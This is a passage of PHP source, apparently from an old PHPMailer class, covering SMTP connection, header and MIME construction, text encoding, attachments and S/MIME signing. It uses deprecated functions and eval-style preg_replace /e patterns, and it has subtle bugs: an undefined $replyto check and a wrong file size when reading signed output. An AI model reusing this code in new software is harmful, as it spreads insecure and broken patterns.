2006 * Initiates a connection to an SMTP server. Returns false if the
2007 * operation failed.
2008 * @access private
2009 * @return bool
2010 */
2011 function SmtpConnect() {
2012 if($this->smtp == NULL) {
2013 $this->smtp = new SMTP();
2014 }
2015
2016 $this->smtp->do_debug = $this->SMTPDebug;
2017 $hosts = explode(';', $this->Host);
2018 $index = 0;
2019 $connection = ($this->smtp->Connected());
2020
2021 /* Retry while there is no connection */
2022 while($index < count($hosts) && $connection == false) {
2023 $hostinfo = array();
2024 if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
2025 $host = $hostinfo[1];
2026 $port = $hostinfo[2];
2027 } else {
2028 $host = $hosts[$index];
2029 $port = $this->Port;
2030 }
2031
2032 if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
2033 if ($this->Helo != '') {
2034 $this->smtp->Hello($this->Helo);
2035 } else {
2036 $this->smtp->Hello($this->ServerHostname());
2037 }
2038
2039 $connection = true;
2040 if($this->SMTPAuth) {
2041 if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
2042 $this->SetError($this->Lang('authenticate'));
2043 $this->smtp->Reset();
2044 $connection = false;
2045 }
2046 }
2047 }
2048 $index++;
2049 }
2050 if(!$connection) {
2051 $this->SetError($this->Lang('connect_host'));
2052 }
2053
2054 return $connection;
2055 }
2056
2057 /**
2058 * Closes the active SMTP session if one exists.
2059 * @return void
2060 */
2061 function SmtpClose() {
2062 if($this->smtp != NULL) {
2063 if($this->smtp->Connected()) {
2064 $this->smtp->Quit();
2065 $this->smtp->Close();
2066 }
2067 }
2068 }
2069
2070 /**
2071 * Sets the language for all class error messages. Returns false
2072 * if it cannot load the language file. The default language type
2073 * is English.
2074 * @param string $lang_type Type of language (e.g. Portuguese: "br")
2075 * @param string $lang_path Path to the language file directory
2076 * @access public
2077 * @return bool
2078 */
2079 function SetLanguage($lang_type, $lang_path = 'language/') {
2080 if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
2081 include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
2082 } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
2083 include($lang_path.'phpmailer.lang-en.php');
2084 } else {
2085 $this->SetError('Could not load language file');
2086 return false;
2087 }
2088 $this->language = $PHPMAILER_LANG;
2089
2090 return true;
2091 }
2092
2093 /////////////////////////////////////////////////
2094 // METHODS, MESSAGE CREATION
2095 /////////////////////////////////////////////////
2096
2097 /**
2098 * Creates recipient headers.
2099 * @access private
2100 * @return string
2101 */
2102 function AddrAppend($type, $addr) {
2103 $addr_str = $type . ': ';
2104 $addr_str .= $this->AddrFormat($addr[0]);
2105 if(count($addr) > 1) {
2106 for($i = 1; $i < count($addr); $i++) {
2107 $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
2108 }
2109 }
2110 $addr_str .= $this->LE;
2111
2112 return $addr_str;
2113 }
2114
2115 /**
2116 * Formats an address correctly.
2117 * @access private
2118 * @return string
2119 */
2120 function AddrFormat($addr) {
2121 if(empty($addr[1])) {
2122 $formatted = $this->SecureHeader($addr[0]);
2123 } else {
2124 $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
2125 }
2126
2127 return $formatted;
2128 }
2129
2130 /**
2131 * Wraps message for use with mailers that do not
2132 * automatically perform wrapping and for quoted-printable.
2133 * Original written by philippe.
2134 * @access private
2135 * @return string
2136 */
2137 function WrapText($message, $length, $qp_mode = false) {
2138 $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
2139 // If utf-8 encoding is used, we will need to make sure we don't
2140 // split multibyte characters when we wrap
2141 $is_utf8 = (strtolower($this->CharSet) == "utf-8");
2142
2143 $message = $this->FixEOL($message);
2144 if (substr($message, -1) == $this->LE) {
2145 $message = substr($message, 0, -1);
2146 }
2147
2148 $line = explode($this->LE, $message);
2149 $message = '';
2150 for ($i=0 ;$i < count($line); $i++) {
2151 $line_part = explode(' ', $line[$i]);
2152 $buf = '';
2153 for ($e = 0; $e<count($line_part); $e++) {
2154 $word = $line_part[$e];
2155 if ($qp_mode and (strlen($word) > $length)) {
2156 $space_left = $length - strlen($buf) - 1;
2157 if ($e != 0) {
2158 if ($space_left > 20) {
2159 $len = $space_left;
2160 if ($is_utf8) {
2161 $len = $this->UTF8CharBoundary($word, $len);
2162 } elseif (substr($word, $len - 1, 1) == "=") {
2163 $len--;
2164 } elseif (substr($word, $len - 2, 1) == "=") {
2165 $len -= 2;
2166 }
2167 $part = substr($word, 0, $len);
2168 $word = substr($word, $len);
2169 $buf .= ' ' . $part;
2170 $message .= $buf . sprintf("=%s", $this->LE);
2171 } else {
2172 $message .= $buf . $soft_break;
2173 }
2174 $buf = '';
2175 }
2176 while (strlen($word) > 0) {
2177 $len = $length;
2178 if ($is_utf8) {
2179 $len = $this->UTF8CharBoundary($word, $len);
2180 } elseif (substr($word, $len - 1, 1) == "=") {
2181 $len--;
2182 } elseif (substr($word, $len - 2, 1) == "=") {
2183 $len -= 2;
2184 }
2185 $part = substr($word, 0, $len);
2186 $word = substr($word, $len);
2187
2188 if (strlen($word) > 0) {
2189 $message .= $part . sprintf("=%s", $this->LE);
2190 } else {
2191 $buf = $part;
2192 }
2193 }
2194 } else {
2195 $buf_o = $buf;
2196 $buf .= ($e == 0) ? $word : (' ' . $word);
2197
2198 if (strlen($buf) > $length and $buf_o != '') {
2199 $message .= $buf_o . $soft_break;
2200 $buf = $word;
2201 }
2202 }
2203 }
2204 $message .= $buf . $this->LE;
2205 }
2206
2207 return $message;
2208 }
2209
2210 /**
2211 * Finds last character boundary prior to maxLength in a utf-8
2212 * quoted (printable) encoded string.
2213 * Original written by Colin Brown.
2214 * @access private
2215 * @param string $encodedText utf-8 QP text
2216 * @param int $maxLength find last character boundary prior to this length
2217 * @return int
2218 */
2219 function UTF8CharBoundary($encodedText, $maxLength) {
2220 $foundSplitPos = false;
2221 $lookBack = 3;
2222 while (!$foundSplitPos) {
2223 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
2224 $encodedCharPos = strpos($lastChunk, "=");
2225 if ($encodedCharPos !== false) {
2226 // Found start of encoded character byte within $lookBack block.
2227 // Check the encoded byte value (the 2 chars after the '=')
2228 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
2229 $dec = hexdec($hex);
2230 if ($dec < 128) { // Single byte character.
2231 // If the encoded char was found at pos 0, it will fit
2232 // otherwise reduce maxLength to start of the encoded char
2233 $maxLength = ($encodedCharPos == 0) ? $maxLength :
2234 $maxLength - ($lookBack - $encodedCharPos);
2235 $foundSplitPos = true;
2236 } elseif ($dec >= 192) { // First byte of a multi byte character
2237 // Reduce maxLength to split at start of character
2238 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2239 $foundSplitPos = true;
2240 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
2241 $lookBack += 3;
2242 }
2243 } else {
2244 // No encoded character found
2245 $foundSplitPos = true;
2246 }
2247 }
2248 return $maxLength;
2249 }
2250
2251 /**
2252 * Set the body wrapping.
2253 * @access private
2254 * @return void
2255 */
2256 function SetWordWrap() {
2257 if($this->WordWrap < 1) {
2258 return;
2259 }
2260
2261 switch($this->message_type) {
2262 case 'alt':
2263 /* fall through */
2264 case 'alt_attachments':
2265 $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
2266 break;
2267 default:
2268 $this->Body = $this->WrapText($this->Body, $this->WordWrap);
2269 break;
2270 }
2271 }
2272
2273 /**
2274 * Assembles message header.
2275 * @access private
2276 * @return string
2277 */
2278 function CreateHeader() {
2279 $result = '';
2280
2281 /* Set the boundaries */
2282 $uniq_id = md5(uniqid(time()));
2283 $this->boundary[1] = 'b1_' . $uniq_id;
2284 $this->boundary[2] = 'b2_' . $uniq_id;
2285
2286 $result .= $this->HeaderLine('Date', $this->RFCDate());
2287 if($this->Sender == '') {
2288 $result .= $this->HeaderLine('Return-Path', trim($this->From));
2289 } else {
2290 $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
2291 }
2292
2293 /* To be created automatically by mail() */
2294 if($this->Mailer != 'mail') {
2295 if(count($this->to) > 0) {
2296 $result .= $this->AddrAppend('To', $this->to);
2297 } elseif (count($this->cc) == 0) {
2298 $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
2299 }
2300 if(count($this->cc) > 0) {
2301 $result .= $this->AddrAppend('Cc', $this->cc);
2302 }
2303 }
2304
2305 $from = array();
2306 $from[0][0] = trim($this->From);
2307 $from[0][1] = $this->FromName;
2308 $result .= $this->AddrAppend('From', $from);
2309
2310 /* sendmail and mail() extract Cc from the header before sending */
2311 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
2312 $result .= $this->AddrAppend('Cc', $this->cc);
2313 }
2314
2315 /* sendmail and mail() extract Bcc from the header before sending */
2316 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
2317 $result .= $this->AddrAppend('Bcc', $this->bcc);
2318 }
2319 if($replyto != "")
2320 {
2321 if(count($this->ReplyTo) > 0) {
2322 $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
2323 }
2324 }
2325 /* mail() sets the subject itself */
2326 if($this->Mailer != 'mail') {
2327 $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
2328 }
2329
2330 if($this->MessageID != '') {
2331 $result .= $this->HeaderLine('Message-ID',$this->MessageID);
2332 } else {
2333 $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
2334 }
2335 $result .= $this->HeaderLine('X-Priority', $this->Priority);
2336 if($this->ConfirmReadingTo != '') {
2337 $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
2338 }
2339
2340 // Add custom headers
2341 for($index = 0; $index < count($this->CustomHeader); $index++) {
2342 $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
2343 }
2344 if (!$this->sign_key_file) {
2345 $result .= $this->HeaderLine('MIME-Version', '1.0');
2346 $result .= $this->GetMailMIME();
2347 }
2348
2349 return $result;
2350 }
2351
2352 /**
2353 * Returns the message MIME.
2354 * @access private
2355 * @return string
2356 */
2357 function GetMailMIME() {
2358 $result = '';
2359 switch($this->message_type) {
2360 case 'plain':
2361 $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
2362 $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
2363 break;
2364 case 'attachments':
2365 /* fall through */
2366 case 'alt_attachments':
2367 if($this->InlineImageExists()){
2368 $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
2369 } else {
2370 $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
2371 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2372 }
2373 break;
2374 case 'alt':
2375 $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
2376 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2377 break;
2378 }
2379
2380 if($this->Mailer != 'mail') {
2381 $result .= $this->LE.$this->LE;
2382 }
2383
2384 return $result;
2385 }
2386
2387 /**
2388 * Assembles the message body. Returns an empty string on failure.
2389 * @access private
2390 * @return string
2391 */
2392 function CreateBody() {
2393 $result = '';
2394 if ($this->sign_key_file) {
2395 $result .= $this->GetMailMIME();
2396 }
2397
2398 $this->SetWordWrap();
2399
2400 switch($this->message_type) {
2401 case 'alt':
2402 $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
2403 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2404 $result .= $this->LE.$this->LE;
2405 $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
2406 $result .= $this->EncodeString($this->Body, $this->Encoding);
2407 $result .= $this->LE.$this->LE;
2408 $result .= $this->EndBoundary($this->boundary[1]);
2409 break;
2410 case 'plain':
2411 $result .= $this->EncodeString($this->Body, $this->Encoding);
2412 break;
2413 case 'attachments':
2414 $result .= $this->GetBoundary($this->boundary[1], '', '', '');
2415 $result .= $this->EncodeString($this->Body, $this->Encoding);
2416 $result .= $this->LE;
2417 $result .= $this->AttachAll();
2418 break;
2419 case 'alt_attachments':
2420 $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
2421 $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
2422 $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
2423 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2424 $result .= $this->LE.$this->LE;
2425 $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
2426 $result .= $this->EncodeString($this->Body, $this->Encoding);
2427 $result .= $this->LE.$this->LE;
2428 $result .= $this->EndBoundary($this->boundary[2]);
2429 $result .= $this->AttachAll();
2430 break;
2431 }
2432
2433 if($this->IsError()) {
2434 $result = '';
2435 } else if ($this->sign_key_file) {
2436 $file = tempnam("", "mail");
2437 $fp = fopen($file, "w");
2438 fwrite($fp, $result);
2439 fclose($fp);
2440 $signed = tempnam("", "signed");
2441
2442 if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
2443 $fp = fopen($signed, "r");
2444 $result = fread($fp, filesize($this->sign_key_file));
2445 fclose($fp);
2446 } else {
2447 $this->SetError($this->Lang("signing").openssl_error_string());
2448 $result = '';
2449 }
2450
2451 unlink($file);
2452 unlink($signed);
2453 }
2454
2455 return $result;
2456 }
2457
2458 /**
2459 * Returns the start of a message boundary.
2460 * @access private
2461 */
2462 function GetBoundary($boundary, $charSet, $contentType, $encoding) {
2463 $result = '';
2464 if($charSet == '') {
2465 $charSet = $this->CharSet;
2466 }
2467 if($contentType == '') {
2468 $contentType = $this->ContentType;
2469 }
2470 if($encoding == '') {
2471 $encoding = $this->Encoding;
2472 }
2473 $result .= $this->TextLine('--' . $boundary);
2474 $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
2475 $result .= $this->LE;
2476 $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
2477 $result .= $this->LE;
2478
2479 return $result;
2480 }
2481
2482 /**
2483 * Returns the end of a message boundary.
2484 * @access private
2485 */
2486 function EndBoundary($boundary) {
2487 return $this->LE . '--' . $boundary . '--' . $this->LE;
2488 }
2489
2490 /**
2491 * Sets the message type.
2492 * @access private
2493 * @return void
2494 */
2495 function SetMessageType() {
2496 if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
2497 $this->message_type = 'plain';
2498 } else {
2499 if(count($this->attachment) > 0) {
2500 $this->message_type = 'attachments';
2501 }
2502 if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
2503 $this->message_type = 'alt';
2504 }
2505 if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
2506 $this->message_type = 'alt_attachments';
2507 }
2508 }
2509 }
2510
2511 /* Returns a formatted header line.
2512 * @access private
2513 * @return string
2514 */
2515 function HeaderLine($name, $value) {
2516 return $name . ': ' . $value . $this->LE;
2517 }
2518
2519 /**
2520 * Returns a formatted mail line.
2521 * @access private
2522 * @return string
2523 */
2524 function TextLine($value) {
2525 return $value . $this->LE;
2526 }
2527
2528 /////////////////////////////////////////////////
2529 // CLASS METHODS, ATTACHMENTS
2530 /////////////////////////////////////////////////
2531
2532 /**
2533 * Adds an attachment from a path on the filesystem.
2534 * Returns false if the file could not be found
2535 * or accessed.
2536 * @param string $path Path to the attachment.
2537 * @param string $name Overrides the attachment name.
2538 * @param string $encoding File encoding (see $Encoding).
2539 * @param string $type File extension (MIME) type.
2540 * @return bool
2541 */
2542 function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2543 if(!@is_file($path)) {
2544 $this->SetError($this->Lang('file_access') . $path);
2545 return false;
2546 }
2547
2548 $filename = basename($path);
2549 if($name == '') {
2550 $name = $filename;
2551 }
2552
2553 $cur = count($this->attachment);
2554 $this->attachment[$cur][0] = $path;
2555 $this->attachment[$cur][1] = $filename;
2556 $this->attachment[$cur][2] = $name;
2557 $this->attachment[$cur][3] = $encoding;
2558 $this->attachment[$cur][4] = $type;
2559 $this->attachment[$cur][5] = false; // isStringAttachment
2560 $this->attachment[$cur][6] = 'attachment';
2561 $this->attachment[$cur][7] = 0;
2562
2563 return true;
2564 }
2565
2566 /**
2567 * Attaches all fs, string, and binary attachments to the message.
2568 * Returns an empty string on failure.
2569 * @access private
2570 * @return string
2571 */
2572 function AttachAll() {
2573 /* Return text of body */
2574 $mime = array();
2575
2576 /* Add all attachments */
2577 for($i = 0; $i < count($this->attachment); $i++) {
2578 /* Check for string attachment */
2579 $bString = $this->attachment[$i][5];
2580 if ($bString) {
2581 $string = $this->attachment[$i][0];
2582 } else {
2583 $path = $this->attachment[$i][0];
2584 }
2585
2586 $filename = $this->attachment[$i][1];
2587 $name = $this->attachment[$i][2];
2588 $encoding = $this->attachment[$i][3];
2589 $type = $this->attachment[$i][4];
2590 $disposition = $this->attachment[$i][6];
2591 $cid = $this->attachment[$i][7];
2592
2593 $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
2594 $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
2595 $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
2596
2597 if($disposition == 'inline') {
2598 $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
2599 }
2600
2601 $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
2602
2603 /* Encode as string attachment */
2604 if($bString) {
2605 $mime[] = $this->EncodeString($string, $encoding);
2606 if($this->IsError()) {
2607 return '';
2608 }
2609 $mime[] = $this->LE.$this->LE;
2610 } else {
2611 $mime[] = $this->EncodeFile($path, $encoding);
2612 if($this->IsError()) {
2613 return '';
2614 }
2615 $mime[] = $this->LE.$this->LE;
2616 }
2617 }
2618
2619 $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
2620
2621 return join('', $mime);
2622 }
2623
2624 /**
2625 * Encodes attachment in requested format. Returns an
2626 * empty string on failure.
2627 * @access private
2628 * @return string
2629 */
2630 function EncodeFile ($path, $encoding = 'base64') {
2631 if(!@$fd = fopen($path, 'rb')) {
2632 $this->SetError($this->Lang('file_open') . $path);
2633 return '';
2634 }
2635 $magic_quotes = get_magic_quotes_runtime();
2636 set_magic_quotes_runtime(0);
2637 $file_buffer = fread($fd, filesize($path));
2638 $file_buffer = $this->EncodeString($file_buffer, $encoding);
2639 fclose($fd);
2640 set_magic_quotes_runtime($magic_quotes);
2641
2642 return $file_buffer;
2643 }
2644
2645 /**
2646 * Encodes string to requested format. Returns an
2647 * empty string on failure.
2648 * @access private
2649 * @return string
2650 */
2651 function EncodeString ($str, $encoding = 'base64') {
2652 $encoded = '';
2653 switch(strtolower($encoding)) {
2654 case 'base64':
2655 /* chunk_split is found in PHP >= 3.0.6 */
2656 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
2657 break;
2658 case '7bit':
2659 case '8bit':
2660 $encoded = $this->FixEOL($str);
2661 if (substr($encoded, -(strlen($this->LE))) != $this->LE)
2662 $encoded .= $this->LE;
2663 break;
2664 case 'binary':
2665 $encoded = $str;
2666 break;
2667 case 'quoted-printable':
2668 $encoded = $this->EncodeQP($str);
2669 break;
2670 default:
2671 $this->SetError($this->Lang('encoding') . $encoding);
2672 break;
2673 }
2674 return $encoded;
2675 }
2676
2677 /**
2678 * Encode a header string to best of Q, B, quoted or none.
2679 * @access private
2680 * @return string
2681 */
2682 function EncodeHeader ($str, $position = 'text') {
2683 $x = 0;
2684
2685 switch (strtolower($position)) {
2686 case 'phrase':
2687 if (!preg_match('/[\200-\377]/', $str)) {
2688 /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
2689 $encoded = addcslashes($str, "\0..\37\177\\\"");
2690 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
2691 return ($encoded);
2692 } else {
2693 return ("\"$encoded\"");
2694 }
2695 }
2696 $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
2697 break;
2698 case 'comment':
2699 $x = preg_match_all('/[()"]/', $str, $matches);
2700 /* Fall-through */
2701 case 'text':
2702 default:
2703 $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
2704 break;
2705 }
2706
2707 if ($x == 0) {
2708 return ($str);
2709 }
2710
2711 $maxlen = 75 - 7 - strlen($this->CharSet);
2712 /* Try to select the encoding which should produce the shortest output */
2713 if (strlen($str)/3 < $x) {
2714 $encoding = 'B';
2715 if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
2716 // Use a custom function which correctly encodes and wraps long
2717 // multibyte strings without breaking lines within a character
2718 $encoded = $this->Base64EncodeWrapMB($str);
2719 } else {
2720 $encoded = base64_encode($str);
2721 $maxlen -= $maxlen % 4;
2722 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
2723 }
2724 } else {
2725 $encoding = 'Q';
2726 $encoded = $this->EncodeQ($str, $position);
2727 $encoded = $this->WrapText($encoded, $maxlen, true);
2728 $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
2729 }
2730
2731 $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
2732 $encoded = trim(str_replace("\n", $this->LE, $encoded));
2733
2734 return $encoded;
2735 }
2736
2737 /**
2738 * Checks if a string contains multibyte characters.
2739 * @access private
2740 * @param string $str multi-byte text to wrap encode
2741 * @return bool
2742 */
2743 function HasMultiBytes($str) {
2744 if (function_exists('mb_strlen')) {
2745 return (strlen($str) > mb_strlen($str, $this->CharSet));
2746 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
2747 return False;
2748 }
2749 }
2750
2751 /**
2752 * Correctly encodes and wraps long multibyte strings for mail headers
2753 * without breaking lines within a character.
2754 * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
2755 * @access private
2756 * @param string $str multi-byte text to wrap encode
2757 * @return string
2758 */
2759 function Base64EncodeWrapMB($str) {
2760 $start = "=?".$this->CharSet."?B?";
2761 $end = "?=";
2762 $encoded = "";
2763
2764 $mb_length = mb_strlen($str, $this->CharSet);
2765 // Each line must have length <= 75, including $start and $end
2766 $length = 75 - strlen($start) - strlen($end);
2767 // Average multi-byte ratio
2768 $ratio = $mb_length / strlen($str);
2769 // Base64 has a 4:3 ratio
2770 $offset = $avgLength = floor($length * $ratio * .75);
2771
2772 for ($i = 0; $i < $mb_length; $i += $offset) {
2773 $lookBack = 0;
2774
2775 do {
2776 $offset = $avgLength - $lookBack;
2777 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
2778 $chunk = base64_encode($chunk);
2779 $lookBack++;
2780 }
2781 while (strlen($chunk) > $length);
2782
2783 $encoded .= $chunk . $this->LE;
2784 }
2785
2786 // Chomp the last linefeed
2787 $encoded = substr($encoded, 0, -strlen($this->LE));
2788 return $encoded;
2789 }
2790
2791 /**
2792 * Encode string to quoted-printable.
2793 * @access private
2794 * @return string
2795 */
2796 function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
2797 $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
2798 $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
2799 $eol = "\r\n";
2800 $escape = '=';
2801 $output = '';
2802 while( list(, $line) = each($lines) ) {
2803 $linlen = strlen($line);
2804 $newline = '';
2805 for($i = 0; $i < $linlen; $i++) {
2806 $c = substr( $line, $i, 1 );
2807 $dec = ord( $c );
2808 if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
2809 $c = '=2E';
2810 }
2811 if ( $dec == 32 ) {
2812 if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
2813 $c = '=20';
2814 } else if ( $space_conv ) {
2815 $c = '=20';
2816 }
2817 } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
2818 $h2 = floor($dec/16);
2819 $h1 = floor($dec%16);
2820 $c = $escape.$hex[$h2].$hex[$h1];
2821 }
2822 if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
2823 $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
2824 $newline = '';
2825 // check if newline first character will be point or not
2826 if ( $dec == 46 ) {
2827 $c = '=2E';
2828 }
2829 }
2830 $newline .= $c;
2831 } // end of for
2832 $output .= $newline.$eol;
2833 } // end of while
2834 return trim($output);
2835 }
2836
2837 /**
2838 * Encode string to q encoding.
2839 * @access private
2840 * @return string
2841 */
2842 function EncodeQ ($str, $position = 'text') {
2843 /* There should not be any EOL in the string */
2844 $encoded = preg_replace("[\r\n]", '', $str);
2845
2846 switch (strtolower($position)) {
2847 case 'phrase':
2848 $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2849 break;
2850 case 'comment':
2851 $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2852 case 'text':
2853 default:
2854 /* Replace every high ascii, control =, ? and _ characters */
2855 $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
2856 "'='.sprintf('%02X', ord('\\1'))", $encoded);
2857 break;
2858 }
2859
2860 /* Replace every spaces to _ (more readable than =20) */
2861 $encoded = str_replace(' ', '_', $encoded);
2862
2863 return $encoded;
2864 }
2865
2866 /**
2867 * Adds a string or binary attachment (non-filesystem) to the list.
2868 * This method can be used to attach ascii or binary data,
2869 * such as a BLOB record from a database.
2870 * @param string $string String attachment data.
2871 * @param string $filename Name of the attachment.
2872 * @param string $encoding File encoding (see $Encoding).
2873 * @param string $type File extension (MIME) type.
2874 * @return void
2875 */
2876 function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
2877 /* Append to $attachment array */
2878 $cur = count($this->attachment);
2879 $this->attachment[$cur][0] = $string;
2880 $this->attachment[$cur][1] = $filename;
2881 $this->attachment[$cur][2] = $filename;
2882 $this->attachment[$cur][3] = $encoding;
2883 $this->attachment[$cur][4] = $type;
2884 $this->attachment[$cur][5] = true; // isString
2885 $this->attachment[$cur][6] = 'attachment';
2886 $this->attachment[$cur][7] = 0;
2887 }
2888
2889 /**
2890 * Adds an embedded attachment. This can include images, sounds, and
2891 * just about any other document. Make sure to set the $type to an
2892 * image type. For JPEG images use "image/jpeg" and for GIF images
2893 * use "image/gif".
2894 * @param string $path Path to the attachment.
2895 * @param string $cid Content ID of the attachment. Use this to identify
2896 * the Id for accessing the image in an HTML form.
2897 * @param string $name Overrides the attachment name.
2898 * @param string $encoding File encoding (see $Encoding).
2899 * @param string $type File extension (MIME) type.
2900 * @return bool
2901 */
2902 function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2903
2904 if(!@is_file($path)) {
2905 $this->SetError($this->Lang('file_access') . $path);
2906 return false;
2907 }
2908
2909 $filename = basename($path);
2910 if($name == '') {
2911 $name = $filename;
2912 }
2913
2914 /* Append to $attachment array */
2915 $cur = count($this->attachment);
2916 $this->attachment[$cur][0] = $path;
2917 $this->attachment[$cur][1] = $filename;
2918 $this->attachment[$cur][2] = $name;
2919 $this->attachment[$cur][3] = $encoding;
2920 $this->attachment[$cur][4] = $type;
2921 $this->attachment[$cur][5] = false;
2922 $this->attachment[$cur][6] = 'inline';
2923 $this->attachment[$cur][7] = $cid;
2924
2925 return true;
2926 }
2927
2928 /**
2929 * Returns true if an inline attachment is present.
2930 * @access private
2931 * @return bool
2932 */
2933 function InlineImageExists() {
2934 $result = false;
2935 for($i = 0; $i < count($this->attachment); $i++) {
2936 if($this->attachment[$i][6] == 'inline') {
2937 $result = true;
2938 break;
2939 }
2940 }
2941
2942 return $result;
2943 }
2944
2945 /////////////////////////////////////////////////
2946 // CLASS METHODS, MESSAGE RESET
2947 /////////////////////////////////////////////////
2948
2949 /**
2950 * Clears all recipients assigned in the TO array. Returns void.
2951 * @return void
2952 */
2953 function ClearAddresses() {
2954 $this->to = array();
2955 }
2956
2957 /**
2958 * Clears all recipients assigned in the CC array. Returns void.
2959 * @return void
2960 */
2961 function ClearCCs() {
2962 $this->cc = array();
2963 }
2964
2965 /**
2966 * Clears all recipients assigned in the BCC array. Returns void.
2967 * @return void
2968 */
2969 function ClearBCCs() {
2970 $this->bcc = array();
2971 }
2972
2973 /**
2974 * Clears all recipients assigned in the ReplyTo array. Returns void.
2975 * @return void
2976 */
2977 function ClearReplyTos() {
2978 $this->ReplyTo = array();
2979 }
2980
2981 /**
2982 * Clears all recipients assigned in the TO, CC and BCC
2983 * array. Returns void.
2984 * @return void
2985 */
2986 function ClearAllRecipients() {
2987 $this->to = array();
2988 $this->cc = array();
2989 $this->bcc = array();
2990 }
2991
2992 /**
2993 * Clears all previously set filesystem, string, and binary
2994 * attachments. Returns void.
2995 * @return void
2996 */
2997 function ClearAttachments() {
2998 $this->attachment = array();
2999 }
3000
3001 /**
3002 * Clears all custom headers. Returns void.
3003 * @return void
3004 */
3005 function ClearCustomHeaders() {
3006 $this->CustomHeader = array();
